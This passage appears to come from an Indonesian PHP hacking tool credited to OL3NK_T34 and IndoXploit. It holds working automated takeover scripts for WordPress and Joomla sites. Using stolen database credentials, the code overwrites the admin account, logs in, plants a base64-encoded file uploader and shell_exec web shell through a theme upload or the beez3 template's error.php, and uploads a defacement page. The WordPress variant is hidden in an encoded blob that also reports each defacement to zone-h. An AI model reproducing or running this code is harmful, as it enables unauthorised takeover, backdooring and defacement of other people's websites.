ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgSUQgQVNDIik7DQogICAgICAgICAgICAgICAgJHI9bXlzcWxfZmV0Y2hfYXJyYXkoJHRhbXBpbCk7DQogICAgICAgICRpZCA9ICRyW0lEXTsNCiANCiAgICAgICAgJHRhbXBpbDI9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHN1ZSBPUkRFUiBCWSBvcHRpb25faWQgQVNDIik7DQogICAgICAgICAgICAgICAgJHIyPW15c3FsX2ZldGNoX2FycmF5KCR0YW1waWwyKTsNCiAgICAgICAgJHRhcmdldCA9ICRyMltvcHRpb25fdmFsdWVdOw0KICAgICAgICAgZWNobyAiIyAkdGFyZ2V0PGJyPiI7DQogICAgICAgDQogDQogICAgICAgICBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJfcGFzcz0nJHBhc3MnLHVzZXJfbG9naW49JyR1c2VyX2JhcnUnIFdIRVJFIElEPSckaWQnIik7DQogDQokc2l0ZT0gIiR0YXJnZXQvd3AtbG9naW4ucGhwIjsNCiRzaXRlMj0gIiR0YXJnZXQvd3AtYWRtaW4vdGhlbWUtaW5zdGFsbC5waHA/dXBsb2FkIjsNCiRhID0gbG9oZ2luKCRzaXRlLCAkdGFyZ2V0LCAkdXNlcl9iYXJ1LCAkcGFzc3dvcmRfYmFydSk7DQokYiA9IGxvaGdpbigkc2l0ZTIsICR0YXJnZXQsICR1c2VyX2JhcnUsICRwYXNzd29yZF9iYXJ1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgDQogDQokYW51MiA9IGFtYmlsa2F0YSgkYiwibmFtZT1cIl93cG5vbmNlXCIgdmFsdWU9XCIiLCJcIiAvPiIpOw0KZWNobyAiIyB0b2tlbiAtPiAkYW51Mjxicj4iOw0KIA0KIA0KJG9sZW5rID0gYmFzZTY0X2RlY29kZSgiVFU5RVJTQkpSRUpVUlVGTkRRbzhQM0JvY0EwS0pHWnBiR1V6SUQwZ0pGOUdTVXhGVTFzblptbHNaVE1uWFRzTkNpQWdKRzVsZDJacGJHVXpQU0pwWkdJdWNHaHdJanNOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JwWmlBb1ptbHNaVjlsZUdsemRITW9JaTR1THk0dUx5NHVMeTR1THlJdUpHNWxkMlpwYkdVektTa2dkVzVzYVc1cktDSXVMaTh1TGk4dUxpOHVMaThpTGlSdVpYZG1hV3hsTXlrN0RRb2dJQ0FnSUNBZ0lHMXZkbVZmZFhCc2IyRmtaV1JmWm1sc1pTZ2tabWxzWlROYkozUnRjRjl1WVcxbEoxMHNJQ0l1TGk4dUxpOHVMaTh1TGk4a2JtVjNabWxzWlRNaUtUc05DZzBLUHo0TkNqdy9jR2h3RFFwcFppaHBjM05sZENna1gwZEZWRnNuYjJ4bGJtc25YU2twZXcwS1pXTm9ieUFuUEdadmJuUWdZMjlzYjNJOUluSmxaQ0krVTNsemRHVnRJRTlUSURvZ1BDOW1iMjUwUGp4bWIyNTBJR052Ykc5eVBTSm5iMnhrSWo0bkxuQm9jRjkxYm1GdFpTZ3BMaWM4TDJadmJuUStQQzlpY2o0bk93MEtjMlYwWDNScGJXVmZiR2x0YVhRb01DazdEUXBsY25KdmNsOXlaWEJ2Y25ScGJtY29NQ2s3RFFwcFppaG5aWFJmYldGbmFXTmZjWFZ2ZEdWelgyZHdZeWdwS1hzTkNtWnZjbVZoWTJnb0pGOVFUMU5VSUdGeklDUnJaWGs5UGlSMllXeDFaU2w3RFFva1gxQlBVMVJiSkd0bGVWMGdQU0J6ZEhKcGNITnNZWE5vWlhNb0pIWmhiSFZsS1RzTkNuME5DbjBOQ21WamFHOGdKendoUkU5RFZGbFFSU0JJVkUxTVBnMEtQRWhVVFV3K0RRbzhjM1I1YkdVK0RRcGliMlI1ZXcwS1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pwMGNtRnVjM0JoY21GdU93MEtZbUZqYTJkeWIzVnVaRG9qTURBd093MEtZbUZqYTJkeWIzVnVaQzF3YjNOcGRHbHZianBqWlc1MFpYSTdEUXBpWVdOclozSnZkVzVrTFdGMGRHRmphRzFsYm5RNlptbDRaV1E3RFFwaVlXTnJaM0p2ZFc1a0xYSmxjR1ZoZERwdWJ5MXlaWEJsWVhRN0RRcDlEUXBwYm5CMWRDeDBaWGgwWVhKbFlTeHpaV3hsWTNSN0RRcENUMUpFUlZJdFVrbEhTRlE2SXpObE0yVXpaU0F4Y0hnZ2MyOXNhV1E3RFFwQ1QxSkVSVkl0VkU5UU9pTXpaVE5sTTJVZ01YQjRJSE52Ykdsa093MEtRazlTUkVWU0xVeEZSbFE2SXpObE0yVXpaU0F4Y0hnZ2MyOXNhV1E3RFFwQ1QxSkVSVkl0UWs5VVZFOU5PaU16WlRObE0yVWdNWEI0SUhOdmJHbGtPdzBLUWtGRFMwZFNUMVZPUkMxRFQweFBVam9qTVdJeFlqRmlPdzBLWm05dWREcEdhWGhsWkhONWN5QmliMnhrT3cwS1kyOXNiM0k2SUhKbFpEc05DbjBOQ2p3dmMzUjViR1UrRFFvOFNFVkJSRDROQ2p4Q1QwUlpQZzBLUEdadmJuUWdZMjlzYjNJOUluSmxaQ0krUTNWeWNtVnVkQ0JRWVhSb0lEb2dQQzltYjI1MFBpYzdEUXBwWmlna1gwZEZWRnNuYjJ4bGJtc25YU2w3RFFva2NHRjBhQ0E5SUNSZlIwVlVXeWR2YkdWdWF5ZGRPdzBLZldWc2MyVjdEUW9rY0dGMGFDQTlJR2RsZEdOM1pDZ3BPdzBLZlEwS0pIQmhkR2dnUFNCemRISmZjbVZ3YkdGalpTZ25YRnduTENjdkp5d2tjR0YwYUNrN0RRb2tjR0YwYUhNZ1BTQmxlSEJzYjJSbEtDY3ZKeXdrY0dGMGFDazdEUXBtYjNKbFlXTm9LQ1J3WVhSb2N5QmhjeUFrYVdROVBpUndZWFFwZXcwS2FXWW9KSEJoZENBOVBTQWlJaUFtSmlBa2FXUWdQVDBnTUNsN0RRb2tZU0E5SUhSeWRXVTdEUXBsWTJodklDYzhZU0JvY21WbVBTSS9iMnhsYm1zOUlqNHZQQzloUGljN0RRcGpiMjUwYVc1MVpUc05DbjBOQ21sbUtDUndZWFFnUFQwZ0lpSXBJR052Ym5ScGJuVmxPdzBLWldOb2J5QW5QR0VnYUhKbFpqMGlQMjlzWlc1clBTYzdEUXBtYjNJb0pHazlNRHNrYVR3OUpHbGtPeVJwS3lzcGV3MEtaV05vYnlBaUpIQmhkR2h6V3lScFhTSTdEUXBwWmlna2FTQWhQU0FrYVdRcElHVmphRzhnSWk4aU93MEtmUTBLWldOb2J5QW5JajQ4Wm05dWRDQmpiMnh2Y2owaWJHbHRaU0krSnk0a2NHRjBMaWM4TDJFK0x6d3ZabTl1ZEQ0bk93MEtmUTBLWldOb2J5QW5QQzkwWkQ0OEwzUnlQangwY2o0OGRHUStQQzlpY2o0TkNqeG1iM0p0SUdWdVkzUjVjR1U5SW0xMWJIUnBjR0Z5ZEM5bWIzSnRMV1JoZEdFaUlHMWxkR2h2WkQwaVVFOVRWQ0krRFFwVmNHeHZZV1FnUm1sc1pTQTZJRHhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWk4K0RRbzhhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUIyWVd4MVpUMGlkWEJzYjJGa0lpOCtEUW84TDJadmNtMCtQQzlpY2o0bk93MEthV1lvYVhOelpYUW9KRjlHU1V4RlUxc25abWxzWlNkZEtTbDdEUXBwWmloamIzQjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3drY0dGMGFDNG5MeWN1SkY5R1NVeEZVMXNuWm1sc1pTZGRXeWR1WVcxbEoxMHBLWHNOQ21WamFHOGdKenhqWlc1MFpYSStQR1p2Ym5RZ1kyOXNiM0k5SW1keVpXVnVJajVWY0d4dllXUWdVM1ZqWTJWemN5NGdPblk4TDJadmJuUStQQzlpY2o0OFptOXVkQ0JqYjJ4dmNqMGlkMmhwZEdVaVBrWnBiR1VnVlhCc2IyRmtaV1FnZEc4Z09pQThMMlp2Ym5RK1BHWnZiblFnWTI5c2IzSTlJbXhwYldVaVBpY3VKSEJoZEdndUp5OG5MaVJmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZExpYzhMMlp2Ym5RK1BDOWpaVzUwWlhJK0p6c05DbjFsYkhObGV3MEtaV05vYnlBblBHTmxiblJsY2o0OFptOXVkQ0JqYjJ4dmNqMGljbVZrSWo1VmNHeHZZV1FnUm1GcGJHVmtMaUE2ZGp3dlptOXVkRDQ4TDJObGJuUmxjajQ4WW5JdlBpYzdEUXA5RFFwOURRcHBaaWhwYzNObGRDZ2tYMGRGVkZzbmIyeGxibXNuWFNrcGV3MEtaV05vYnlBblBHWnZjbTBnYldWMGFHOWtQU0p3YjNOMElqNE5DanhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJ1WVcxbFBTSmpiV1FpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrVjRaV04xZEdVaVBnMEtQQzltYjNKdFBpYzdEUW9OQ21sbUtHbHpjMlYwS0NSZlVFOVRWRnNuWTIxa0oxMHBLWHNOQ21sbUtHWjFibU4wYVc5dVgyVjRhWE4wY3lnbmMyaGxiR3hmWlhobFl5Y3BLWHNOQ2lSamJXUTlKRjlRVDFOVVd5ZGpiV1FuWFRzTkNpUnZhMlVnUFNCemFHVnNiRjlsZUdWaktDSWtZMjFrSWlrN0RRcGxZMmh2SUNJOGRHVjRkR0Z5WldFZ0lHTnZiSE05TXpBZ2NtOTNjejB6TURzK0pHOXJaVHd2ZEdWNGRHRnlaV0UrSWpzTkNuME5DbjBOQ21WamFHOGdKenhqWlc1MFpYSStQR1p2Ym5RZ1kyOXNiM0k5SW5kb2FYUmxJajVOYjJSbElFSjVJRG9nUEM5bWIyNTBQanhtYjI1MElHTnZiRzl5UFNKeVpXUWlQazlNTTA1TFgxUXpORHd2Wm05dWRENDhMMk5sYm5SbGNqNG5PdzBLZldWc2MyVjdEUXBsWTJodklDSThMM0ErUEM5d1Bqd3ZjRDQ4TDNBK1BHTmxiblJsY2o1SVlXTnJaV1FnUW5rZ09pQlBURE5PUzE5VU16UThMMk5sYm5SbGNqNGlPdzBLZlEwS2ZRMEtQejQ9Iik7DQogDQokb2xlbmsxID0gIm9sZW5rLnBocCI7DQokZnA1ID0gZm9wZW4oJG9sZW5rMSwidyIpOw0KZnB1dHMoJGZwNSwkb2xlbmspOw0KIA0KJGMgPSBmaWxlX2dldF9jb250ZW50cygkdyk7DQogICANCiAgJHBvc3QyID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIl93cG5vbmNlIiA9PiAiJGFudTIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJfd3BfaHR0cF9yZWZlcmVyIiA9PiAiL3dwLWFkbWluL3RoZW1lLWluc3RhbGwucGhwP3VwbG9hZCIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRoZW1lemlwIiA9PiAiQG9sZW5rLnBocCIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImluc3RhbGwtdGhlbWUtc3VibWl0IiA9PiAiSW5zdGFsbCBOb3ciLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7DQokY2ggPSBjdXJsX2luaXQgKCIkdGFyZ2V0L3dwLWFkbWluL3VwZGF0ZS5waHA/YWN0aW9uPXVwbG9hZC10aGVtZSIpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsNCmN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcG9zdDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29rZXJfbG9nJyk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwnY29rZXJfbG9nJyk7DQokZGF0YTMgPSBjdXJsX2V4ZWMgKCRjaCk7DQogDQokbmFtYWZpbGUgPSAiaWRidGVhbTEucGhwIjsNCiRmcDIgPSBmb3BlbigkbmFtYWZpbGUsInciKTsNCmZwdXRzKCRmcDIsJG5pY2spOw0KIA0KJHkgPSBkYXRlKCJZIik7DQokbSA9IGRhdGUoIm0iKTsNCiANCiANCiRjaDYgPSBjdXJsX2luaXQoIiR0YXJnZXQvd3AtY29udGVudC91cGxvYWRzLyR5LyRtL29sZW5rLnBocCIpOw0KY3VybF9zZXRvcHQoJGNoNiwgQ1VSTE9QVF9QT1NULCB0cnVlKTsNCmN1cmxfc2V0b3B0KCRjaDYsIENVUkxPUFRfUE9TVEZJRUxEUywNCmFycmF5KCdmaWxlMyc9PiJAJG5hbWFmaWxlIikpOw0KY3VybF9zZXRvcHQoJGNoNiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2g2LCBDVVJMT1BUX0NPT0tJRUZJTEUsICJjb2tlcl9sb2ciKTsNCiRwb3N0UmVzdWx0ID0gY3VybF9leGVjKCRjaDYpOw0KY3VybF9jbG9zZSgkY2g2KTsNCg0KIA0KJGFzID0gIiR0YXJnZXQvaWRiLnBocCI7DQokYnMgPSBmaWxlX2dldF9jb250ZW50cygkYXMpOw0KIGlmKHByZWdfbWF0Y2goIiNoYWNrZWQjc2kiLCRicykpew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIyA8Zm9udCBjb2xvcj0nZ3JlZW4nPmJlcmhhc2lsIG1lcGVzLi4uPC9mb250Pjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIyAkYXM8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIHNhdmUoJGFzLiI8YnI+Iik7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIjIHpvbmUtaDogIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjaDMgPSBjdXJsX2luaXQgKCJodHRwOi8vd3d3LnpvbmUtaC5jb20vbm90aWZ5L3NpbmdsZSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQgKCRjaDMsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQgKCRjaDMsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCAoJGNoMywgQ1VSTE9QVF9QT1NURklFTERTLCAiZGVmYWNlcj1JRC1JTSZkb21haW4xPSRhcyZoYWNrbW9kZT0xJnJlYXNvbj0xIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICBpZiAocHJlZ19tYXRjaCAoIi9jb2xvcj1cInJlZFwiPk9LPFwvZm9udD48XC9saT4vaSIsIGN1cmxfZXhlYyAoJGNoMykpKXsNCiAgICAgICAgICAgICAgICBlY2hvICAiIE9rICA8YnI+PGJyPiI7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gIiBObyA8YnI+PGJyPiI7fQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIjIDxmb250IGNvbG9yPSdyZWQnPmdhZ2FsIG1lcGVzLi4uPC9mb250Pjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiMgPGZvbnQgY29sb3I9J2dyZWVuJz5qaWthIHRva2VuIG11bmN1bCBIYXNpbCBpbmplY3QgbnlhIGRpIG1hcmkgOjwvZm9udD48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiMgJHRhcmdldC93cC1jb250ZW50L3VwbG9hZHMvJHkvJG0vb2xlbmsucGhwP29sZW5rPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIjIGppa2EgdG9rZW4ga29zb25nIGNvYmEgbWFudWFsIDogPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIjICR0YXJnZXQvd3AtbG9naW4ucGhwPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIjIHVzZXJuYW1lOiAkdXNlcl9iYXJ1PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIjIHBhc3N3b3JkOiAkcGFzc3dvcmRfYmFydTxicj48YnI+PGJyPiI7DQogDQogICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgfQ0KZWxzZXsNCiAgICAgICAgZWNobyAiJHVzZXIgPD0gTm88YnI+IjsNCn0NCiANCiANCiANCn0NCiANCiANCj8+";
$write = fwrite($f2, base64_decode($sml_db));
if ($write) {
@chmod('t/coli.php', 0755);
}
echo "</br></br><center><b>CEK : <a href='t/coli.php' target='_blank'>[+] WP AUTO IN73CT [+]</a></center></br>";
}
}
?>
<?php
if (isset($_GET['idb']) && ($_GET['idb'] == 'olenk3')) {
?>
<form action="?&amp;idb=olenk3" method="post">
<?php
error_reporting(0);
//Tu5b0l3d
//thx to: IndoXploit, Hacker-Newbie.org
//recode by OL3NK_T34


    if($_POST['submitt']){
  

        $host = $_POST['host'];

        $username = $_POST['username'];

        $password = $_POST['password'];

        $db = $_POST['db'];

        $dbprefix = $_POST['dbprefix'];

        $user_baru = $_POST['user_baru'];

        $password_baru = $_POST['password_baru'];

        $tanya = $_POST['tanya'];

        $target = $_POST['target'];


        $prefix = $dbprefix."users";

        $pass = md5("$password_baru");

        $upda = $db.".".$dbprefix;


        mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");

        mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");

 $tampil=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
    $r=mysql_fetch_array($tampil);
        $id = $r[id];
       

         mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");

        
                function token($target){
                    $ch2 = curl_init ("$target");
                    curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
                   curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                    curl_setopt ($ch2, CURLOPT_CONNECTTIMEOUT, 5);
                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
                    curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
                    curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
                    $data = curl_exec ($ch2);
                   
                    
                        preg_match('/<input type="hidden" name="(.*?)" value="1"/', $data, $token);
                $token = $token[1];
                return $token;
            }
            
            if ($tanya == "y"){
                
                $path = "/administrator/index.php?option=com_templates&view=template&id=503&file=L2Vycm9yLnBocA%3D%3D";
                $site = $target.$path;
                $token1 = token($site);


               
$post = array(
                    "username" => "$user_baru",
                    "passwd" => "$password_baru",
                    "lang" => "en-GB",
                    "option" => "com_login",
                    "task" => "login",
                    "return" => "aW5kZXgucGhw",
                    "$token1" => "1",
                    );

$ch = curl_init ("$site");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$masuk = curl_exec ($ch);

$token2 = token($site);

$upload = base64_decode("TU9ERSBJREJURUFNDQo8P3BocA0KJGZpbGUzID0gJF9GSUxFU1snZmlsZTMnXTsNCiAgJG5ld2ZpbGUzPSJpZGIucGhwIjsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKSkgdW5saW5rKCIuLi8uLi8uLi8uLi8iLiRuZXdmaWxlMyk7DQogICAgICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZTNbJ3RtcF9uYW1lJ10sICIuLi8uLi8uLi8uLi8kbmV3ZmlsZTMiKTsNCg0KPz4NCjw/cGhwDQppZihpc3NldCgkX0dFVFsnb2xlbmsnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9InJlZCI+U3lzdGVtIE9TIDogPC9mb250Pjxmb250IGNvbG9yPSJnb2xkIj4nLnBocF91bmFtZSgpLic8L2ZvbnQ+PC9icj4nOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCmZvcmVhY2goJF9QT1NUIGFzICRrZXk9PiR2YWx1ZSl7DQokX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsNCn0NCn0NCmVjaG8gJzwhRE9DVFlQRSBIVE1MPg0KPEhUTUw+DQo8c3R5bGU+DQpib2R5ew0KYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmFuOw0KYmFja2dyb3VuZDojMDAwOw0KYmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXI7DQpiYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6Zml4ZWQ7DQpiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7DQp9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpCT1JERVItUklHSFQ6IzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6IzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjojMWIxYjFiOw0KZm9udDpGaXhlZHN5cyBib2xkOw0KY29sb3I6IHJlZDsNCn0NCjwvc3R5bGU+DQo8SEVBRD4NCjxCT0RZPg0KPGZvbnQgY29sb3I9InJlZCI+Q3VycmVudCBQYXRoIDogPC9mb250Pic7DQppZigkX0dFVFsnb2xlbmsnXSl7DQokcGF0aCA9ICRfR0VUWydvbGVuayddOw0KfWVsc2V7DQokcGF0aCA9IGdldGN3ZCgpOw0KfQ0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7DQokcGF0aHMgPSBleHBsb2RlKCcvJywkcGF0aCk7DQpmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpew0KaWYoJHBhdCA9PSAiIiAmJiAkaWQgPT0gMCl7DQokYSA9IHRydWU7DQplY2hvICc8YSBocmVmPSI/b2xlbms9Ij4vPC9hPic7DQpjb250aW51ZTsNCn0NCmlmKCRwYXQgPT0gIiIpIGNvbnRpbnVlOw0KZWNobyAnPGEgaHJlZj0iP29sZW5rPSc7DQpmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KZWNobyAiJHBhdGhzWyRpXSI7DQppZigkaSAhPSAkaWQpIGVjaG8gIi8iOw0KfQ0KZWNobyAnIj48Zm9udCBjb2xvcj0ibGltZSI+Jy4kcGF0Lic8L2E+LzwvZm9udD4nOw0KfQ0KZWNobyAnPC90ZD48L3RyPjx0cj48dGQ+PC9icj4NCjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCI+DQpVcGxvYWQgRmlsZSA6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIi8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIi8+DQo8L2Zvcm0+PC9icj4nOw0KaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7DQppZihjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXsNCmVjaG8gJzxjZW50ZXI+PGZvbnQgY29sb3I9ImdyZWVuIj5VcGxvYWQgU3VjY2Vzcy4gOnY8L2ZvbnQ+PC9icj48Zm9udCBjb2xvcj0id2hpdGUiPkZpbGUgVXBsb2FkZWQgdG8gOiA8L2ZvbnQ+PGZvbnQgY29sb3I9ImxpbWUiPicuJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddLic8L2ZvbnQ+PC9jZW50ZXI+JzsNCn1lbHNlew0KZWNobyAnPGNlbnRlcj48Zm9udCBjb2xvcj0icmVkIj5VcGxvYWQgRmFpbGVkLiA6djwvZm9udD48L2NlbnRlcj48YnIvPic7DQp9DQp9DQppZihpc3NldCgkX0dFVFsnb2xlbmsnXSkpew0KZWNobyAnPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUiPg0KPC9mb3JtPic7DQoNCmlmKGlzc2V0KCRfUE9TVFsnY21kJ10pKXsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsNCiRjbWQ9JF9QT1NUWydjbWQnXTsNCiRva2UgPSBzaGVsbF9leGVjKCIkY21kIik7DQplY2hvICI8dGV4dGFyZWEgIGNvbHM9MzAgcm93cz0zMDs+JG9rZTwvdGV4dGFyZWE+IjsNCn0NCn0NCmVjaG8gJzxjZW50ZXI+PGZvbnQgY29sb3I9IndoaXRlIj5Nb2RlIEJ5IDogPC9mb250Pjxmb250IGNvbG9yPSJyZWQiPk9MM05LX1QzNDwvZm9udD48L2NlbnRlcj4nOw0KfWVsc2V7DQplY2hvICI8L3A+PC9wPjwvcD48L3A+PGNlbnRlcj5IYWNrZWQgQnkgOiBPTDNOS19UMzQ8L2NlbnRlcj4iOw0KfQ0KfQ0KPz4=");

$post2 = array(
                    "jform[source]" => "$upload",
                    "task" => "template.save",
                    "$token2" => "1",
                    "jform[extension_id]"=> "503",
                    "jform[filename]" => "/error.php",
                    );

$ch3 = curl_init ("$site");
curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch3, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch3, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch3, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch3, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch3, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch3, CURLOPT_POST, 1);
curl_setopt ($ch3, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch3, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch3, CURLOPT_COOKIEFILE,'coker_log');
$masuk2 = curl_exec ($ch3);

if(preg_match("#successfully#is", $masuk2)){
echo "uploader udh ketanem...<br>";
echo "# akses d sini.. => $target/templates/beez3/error.php?olenk";
echo "lanjut mepes...<br>";

$file_pepes = "olenk-IDBTEAM.php";
$ch4 =curl_init("$target/templates/beez3/error.php");
                            curl_setopt($ch4, CURLOPT_POST, true);
                            curl_setopt($ch4, CURLOPT_POSTFIELDS,
                            array('file'=>"@$file_pepes"));
                            curl_setopt($ch4, CURLOPT_RETURNTRANSFER, 1);
                            curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
                            curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
                            $postResult = curl_exec($ch4);
                            curl_close($ch4);


   $ch5 = "$target/idb.php";
$file2 = @file_get_contents($ch5);
                            

                     if(preg_match('#hacked#is', $file2)){
                        echo "<font color='green'>berhasil mepes...</font><br>";
                        echo "$target/idb.php<br>";
                    }
                    else{
